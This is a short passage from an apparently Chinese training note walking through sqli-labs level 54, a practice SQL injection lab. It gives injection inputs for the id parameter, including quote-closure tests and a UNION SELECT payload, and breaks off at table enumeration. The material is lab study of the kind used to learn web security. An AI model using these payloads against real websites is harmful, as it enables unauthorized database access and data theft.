紫禁专题

sqli-labs-master靶场训练笔记(54-65|决战紫禁之巓)

2024.2.5 level-54  1、先判断类型和闭合类型 ?id=1/0 #正常 证明不是数字型?id=1' #错误?id=1' -- a #正常 判断是 ' 闭合 2、 判断列数  这里需要运气,但是根据前面50多关的经验直接猜测是3列 ?id=-1' union select 1,2,3 -- a 3、爆表名,爆列名 由于有两个回